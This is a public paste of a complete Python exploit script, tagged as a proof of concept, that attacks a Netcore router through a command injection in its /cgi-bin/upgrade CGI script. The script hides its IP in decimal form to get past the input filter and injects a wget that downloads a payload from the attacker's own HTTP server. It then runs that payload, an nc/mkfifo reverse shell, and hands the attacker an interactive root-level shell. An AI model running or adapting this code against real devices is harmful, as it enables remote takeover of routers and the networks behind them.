Guest User

exploit.py

a guest
Jun 9th, 2026
51
0
57 days
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 14.17 KB | Source Code | 0 0
  1. #!/usr/bin/env python3
  2. """
  3. Netcore Router Command Injection & Reverse Shell Exploit
  4. ========================================================
  5. Targets: /cgi-bin/upgrade CGI script eval injection vulnerability
  6.  
  7. The upgrade CGI script parses query string parameters and executes:
  8.    eval "${key}='${val}'"
  9. This allows arbitrary command execution via crafted parameter names.
  10.  
  11. The urldecode function filters: " ' ` | \ < > @ ? * ~ ! ( ) ; , . $ ^
  12. But does NOT filter: / - space (and digits/letters)
  13.  
  14. By using decimal IP encoding (e.g., 192.168.0.172 -> 3232235692),
  15. we bypass the '.' filter in URLs.
  16.  
  17. Usage:
  18.    python3 exploit.py <router_ip> <listener_ip:port>
  19.    python3 exploit.py 192.168.0.1 192.168.0.172:12345
  20.  
  21. Only depends on Python 3 standard library.
  22. """
  23.  
  24. import sys
  25. import socket
  26. import struct
  27. import http.server
  28. import http.client
  29. import threading
  30. import time
  31.  
  32.  
  33. # ============================================================
  34. # Utility Functions
  35. # ============================================================
  36.  
  37. def ip_to_decimal(ip):
  38.     """Convert dotted-decimal IP to its 32-bit decimal representation.
  39.    
  40.    Example: 192.168.0.172 -> 3232235692
  41.    This bypasses the urldecode '.' filter in the CGI script.
  42.    """
  43.     try:
  44.         return str(struct.unpack("!I", socket.inet_aton(ip))[0])
  45.     except (socket.error, struct.error) as e:
  46.         print(f"[-] Invalid IP address: {ip} ({e})")
  47.         sys.exit(1)
  48.  
  49.  
  50. def parse_args():
  51.     """Parse and validate command-line arguments."""
  52.     if len(sys.argv) != 3:
  53.         print(f"Usage: python3 {sys.argv[0]} <router_ip> <listener_ip:port>")
  54.         print(f"Example: python3 {sys.argv[0]} 192.168.0.1 192.168.0.172:12345")
  55.         sys.exit(1)
  56.  
  57.     router_ip = sys.argv[1]
  58.  
  59.     try:
  60.         parts = sys.argv[2].split(":")
  61.         if len(parts) != 2:
  62.             raise ValueError
  63.         listener_ip = parts[0]
  64.         listener_port = int(parts[1])
  65.         if not (1 <= listener_port <= 65535):
  66.             raise ValueError
  67.     except (ValueError, IndexError):
  68.         print("[-] Invalid listener format. Expected IP:PORT (e.g., 192.168.0.172:12345)")
  69.         sys.exit(1)
  70.  
  71.     return router_ip, listener_ip, listener_port
  72.  
  73.  
  74. # ============================================================
  75. # Payload Generation
  76. # ============================================================
  77.  
  78. def generate_payload(listener_ip, listener_port):
  79.     """Generate reverse shell payload using nc + mkfifo (busybox compatible).
  80.  
  81.    This is the classic approach that works without nc -e flag,
  82.    which is unavailable in most busybox implementations.
  83.    """
  84.     payload = (
  85.         "#!/bin/sh\n"
  86.         "rm -f /tmp/f\n"
  87.         "mkfifo /tmp/f\n"
  88.         f"/bin/sh -i</tmp/f 2>&1|nc {listener_ip} {listener_port} >/tmp/f\n"
  89.     )
  90.     return payload.encode()
  91.  
  92.  
  93. # ============================================================
  94. # HTTP Server (serves the exploit payload)
  95. # ============================================================
  96.  
  97. class PayloadHTTPHandler(http.server.BaseHTTPRequestHandler):
  98.     """HTTP request handler that serves the reverse shell payload."""
  99.  
  100.     payload = b""
  101.  
  102.     def do_GET(self):
  103.         self.send_response(200)
  104.         self.send_header("Content-Type", "application/octet-stream")
  105.         self.send_header("Content-Length", str(len(self.payload)))
  106.         self.end_headers()
  107.         self.wfile.write(self.payload)
  108.  
  109.     def log_message(self, fmt, *args):
  110.         print(f"    [HTTP] {fmt % args}")
  111.  
  112.  
  113. # ============================================================
  114. # Command Injection via HTTP POST
  115. # ============================================================
  116.  
  117. def send_injection(router_ip, url_path):
  118.     """Send a POST request with command injection payload to the router.
  119.  
  120.    The injected command is embedded in the query string parameter name.
  121.    The CGI script's eval() will execute it.
  122.  
  123.    Returns:
  124.        (status_code, response_body) tuple
  125.    """
  126.     try:
  127.         conn = http.client.HTTPConnection(router_ip, 80, timeout=15)
  128.         conn.request("POST", url_path, body="")
  129.         resp = conn.getresponse()
  130.         status = resp.status
  131.         data = resp.read()
  132.         conn.close()
  133.         return status, data
  134.     except (ConnectionResetError, ConnectionAbortedError, http.client.RemoteDisconnected):
  135.         # Expected: router may reset connection after executing injected command
  136.         return -1, b"Connection reset (command may have executed)"
  137.     except socket.timeout:
  138.         return -2, b"Connection timed out"
  139.     except OSError as e:
  140.         return -3, str(e).encode()
  141.  
  142.  
  143. # ============================================================
  144. # Interactive Reverse Shell
  145. # ============================================================
  146.  
  147. def interactive_shell(sock):
  148.     """Provide an interactive shell session over the socket connection.
  149.  
  150.    Uses msvcrt for non-blocking keyboard input on Windows:
  151.    - msvcrt.kbhit() checks if a key was pressed (non-blocking)
  152.    - msvcrt.getch() reads a single keypress
  153.    - sock.settimeout() makes recv() non-blocking for polling
  154.  
  155.    Single-threaded polling loop, no stdin threading issues.
  156.    """
  157.     import msvcrt
  158.  
  159.     # Low-latency TCP options
  160.     sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
  161.     sock.settimeout(0.05)  # 50ms recv timeout for responsive polling
  162.  
  163.     print()
  164.     print("=" * 60)
  165.     print("   REVERSE SHELL CONNECTED!")
  166.     print("   Type commands. Press Ctrl+C to exit.")
  167.     print("=" * 60)
  168.     print()
  169.  
  170.     # Send initial newline to trigger shell prompt
  171.     try:
  172.         sock.sendall(b"\n")
  173.     except OSError:
  174.         pass
  175.  
  176.     try:
  177.         while True:
  178.             # --- Read remote output ---
  179.             try:
  180.                 data = sock.recv(4096)
  181.                 if not data:
  182.                     print("\n[-] Connection closed by remote host.")
  183.                     break
  184.                 sys.stdout.buffer.write(data)
  185.                 sys.stdout.buffer.flush()
  186.             except socket.timeout:
  187.                 pass  # No data yet, continue to check keyboard
  188.             except (ConnectionResetError, BrokenPipeError, OSError):
  189.                 print("\n[-] Connection lost.")
  190.                 break
  191.  
  192.             # --- Read keyboard input (non-blocking) ---
  193.             while msvcrt.kbhit():
  194.                 ch = msvcrt.getch()
  195.                 if ch == b'\x03':  # Ctrl+C
  196.                     raise KeyboardInterrupt
  197.                 # Convert Windows \r (Enter) to Unix \n
  198.                 if ch == b'\r':
  199.                     ch = b'\n'
  200.                 # Local echo: sh -i reads from pipe, no terminal echo
  201.                 sys.stdout.buffer.write(ch)
  202.                 sys.stdout.buffer.flush()
  203.                 try:
  204.                     sock.sendall(ch)
  205.                 except (ConnectionResetError, BrokenPipeError, OSError):
  206.                     print("\n[-] Connection lost while sending.")
  207.                     return
  208.     except KeyboardInterrupt:
  209.         print("\n\n[*] Exiting shell...")
  210.     finally:
  211.         sock.close()
  212.  
  213.  
  214. # ============================================================
  215. # Main Exploit Flow
  216. # ============================================================
  217.  
  218. def main():
  219.     router_ip, listener_ip, listener_port = parse_args()
  220.  
  221.     http_port = 8000
  222.     decimal_ip = ip_to_decimal(listener_ip)
  223.  
  224.     # Banner
  225.     print()
  226.     print("=" * 60)
  227.     print("   Netcore Router Command Injection & Reverse Shell")
  228.     print("=" * 60)
  229.     print(f"  Target Router    : {router_ip}")
  230.     print(f"  Listener         : {listener_ip}:{listener_port}")
  231.     print(f"  Decimal IP       : {decimal_ip}")
  232.     print(f"  HTTP Server Port : {http_port}")
  233.     print("=" * 60)
  234.     print()
  235.  
  236.     # Generate payload
  237.     payload = generate_payload(listener_ip, listener_port)
  238.     PayloadHTTPHandler.payload = payload
  239.  
  240.     print(f"[+] Payload generated ({len(payload)} bytes):")
  241.     for line in payload.decode().strip().split("\n"):
  242.         print(f"    {line}")
  243.     print()
  244.  
  245.     # ------------------------------------------
  246.     # Start HTTP server to serve the payload
  247.     # ------------------------------------------
  248.     try:
  249.         httpd = http.server.HTTPServer(("0.0.0.0", http_port), PayloadHTTPHandler)
  250.     except OSError as e:
  251.         print(f"[-] Failed to start HTTP server on port {http_port}: {e}")
  252.         sys.exit(1)
  253.  
  254.     http_thread = threading.Thread(target=httpd.serve_forever, daemon=True)
  255.     http_thread.start()
  256.     print(f"[+] HTTP server listening on 0.0.0.0:{http_port}")
  257.  
  258.     # ------------------------------------------
  259.     # Prepare TCP listener socket for reverse shell
  260.     # ------------------------------------------
  261.     shell_listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  262.     shell_listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  263.     try:
  264.         shell_listener.bind(("0.0.0.0", listener_port))
  265.     except OSError as e:
  266.         print(f"[-] Failed to bind shell listener on port {listener_port}: {e}")
  267.         httpd.shutdown()
  268.         sys.exit(1)
  269.  
  270.     shell_listener.listen(5)
  271.     print(f"[+] Shell listener prepared on 0.0.0.0:{listener_port}")
  272.     print()
  273.  
  274.     # ==========================================
  275.     # STEP 1: Inject wget to download payload
  276.     # ==========================================
  277.     print("-" * 60)
  278.     print("[*] STEP 1: Injecting wget command to download payload")
  279.     print("-" * 60)
  280.  
  281.     # Build the injection URL
  282.     # After urldecode: sid=00000000000000000000000000000000&wget -O /tmp/exp http://DECIMAL_IP:8000/exp=
  283.     # The eval("${key}='${val}'") will execute: wget -O /tmp/exp http://DECIMAL_IP:8000/exp=''
  284.     # Using decimal IP bypasses the '.' filter in urldecode
  285.     step1_path = (
  286.         f"/cgi-bin/upgrade"
  287.         f"?sid=00000000000000000000000000000000"
  288.         f"&wget+-O+/tmp/exp+http://{decimal_ip}:{http_port}/exp="
  289.     )
  290.  
  291.     print(f"[*] Request: POST http://{router_ip}{step1_path}")
  292.     print(f"[*] Decoded injection: wget -O /tmp/exp http://{decimal_ip}:{http_port}/exp=")
  293.  
  294.     status, data = send_injection(router_ip, step1_path)
  295.  
  296.     if status > 0:
  297.         print(f"[+] HTTP Response: {status}")
  298.         body_text = data.decode("utf-8", errors="replace")[:300]
  299.         if body_text.strip():
  300.             print(f"[+] Response body: {body_text}")
  301.     else:
  302.         print(f"[!] {data.decode('utf-8', errors='replace')}")
  303.  
  304.     print("[*] Waiting for router to download payload via wget...")
  305.     time.sleep(5)
  306.  
  307.     # ------------------------------------------
  308.     # Start reverse shell listener thread (before Step 2)
  309.     # ------------------------------------------
  310.     shell_conn_holder = {"conn": None, "addr": None, "error": None}
  311.     shell_ready = threading.Event()
  312.  
  313.     def shell_accept_thread():
  314.         """Thread: wait for reverse shell connection."""
  315.         shell_listener.settimeout(120)
  316.         try:
  317.             conn, addr = shell_listener.accept()
  318.             shell_conn_holder["conn"] = conn
  319.             shell_conn_holder["addr"] = addr
  320.             print(f"\n[+] Reverse shell received from {addr[0]}:{addr[1]}")
  321.         except socket.timeout:
  322.             shell_conn_holder["error"] = "timeout"
  323.             print("\n[-] Timeout: No reverse shell connection after 120 seconds.")
  324.         except Exception as e:
  325.             shell_conn_holder["error"] = str(e)
  326.             print(f"\n[-] Listener error: {e}")
  327.         finally:
  328.             shell_ready.set()
  329.  
  330.     shell_thread = threading.Thread(target=shell_accept_thread, daemon=True)
  331.     shell_thread.start()
  332.     print(f"[+] Shell listener thread started, waiting on 0.0.0.0:{listener_port}")
  333.  
  334.     # ==========================================
  335.     # STEP 2: Inject command to execute payload
  336.     # ==========================================
  337.     print()
  338.     print("-" * 60)
  339.     print("[*] STEP 2: Injecting command to execute /tmp/exp")
  340.     print("-" * 60)
  341.  
  342.     # Build the injection URL
  343.     # After urldecode: sid=00000000000000000000000000000000&/bin/sh /tmp/exp =
  344.     # The eval("${key}='${val}'") will execute: /bin/sh /tmp/exp =''
  345.     step2_path = (
  346.         "/cgi-bin/upgrade"
  347.         "?sid=00000000000000000000000000000000"
  348.         "&/bin/sh+/tmp/exp%20="
  349.     )
  350.  
  351.     print(f"[*] Request: POST http://{router_ip}{step2_path}")
  352.     print(f"[*] Decoded injection: /bin/sh /tmp/exp")
  353.  
  354.     # Fire-and-forget in background thread: keep HTTP connection alive
  355.     # If we close the socket too fast, the router's web server detects the
  356.     # disconnect and kills the CGI process before nc can connect back.
  357.     # By keeping the connection alive in a daemon thread, the CGI stays running.
  358.     def async_inject():
  359.         try:
  360.             conn = http.client.HTTPConnection(router_ip, 80, timeout=30)
  361.             conn.request("POST", step2_path, body="")
  362.             conn.getresponse()  # Blocks until nc exits — that's fine
  363.         except Exception:
  364.             pass  # Expected: timeout / reset when shell session ends
  365.  
  366.     inject_thread = threading.Thread(target=async_inject, daemon=True)
  367.     inject_thread.start()
  368.     print("[+] Injection sent (connection kept alive in background)")
  369.  
  370.     # ==========================================
  371.     # STEP 3: Wait for reverse shell connection
  372.     # ==========================================
  373.     print()
  374.     print("-" * 60)
  375.     print("[*] STEP 3: Waiting for reverse shell connection...")
  376.     print("-" * 60)
  377.  
  378.     try:
  379.         shell_ready.wait()  # Block until listener thread signals
  380.  
  381.         if shell_conn_holder["conn"] is not None:
  382.             interactive_shell(shell_conn_holder["conn"])
  383.         elif shell_conn_holder["error"] == "timeout":
  384.             print("[-] Possible reasons:")
  385.             print("    1. Router does not have 'nc' (netcat) installed")
  386.             print("    2. Router cannot reach the listener address")
  387.             print("    3. Command injection was blocked or failed")
  388.             print("    4. Payload download from HTTP server failed")
  389.         else:
  390.             print(f"[-] Listener error: {shell_conn_holder['error']}")
  391.     except KeyboardInterrupt:
  392.         print("\n[-] Interrupted by user.")
  393.     finally:
  394.         shell_listener.close()
  395.         httpd.shutdown()
  396.         print("\n[*] Cleaned up. Goodbye.")
  397.  
  398.  
  399. if __name__ == "__main__":
  400.     main()
  401.  
Tags: PoC
Add Comment
Please, Sign In to add comment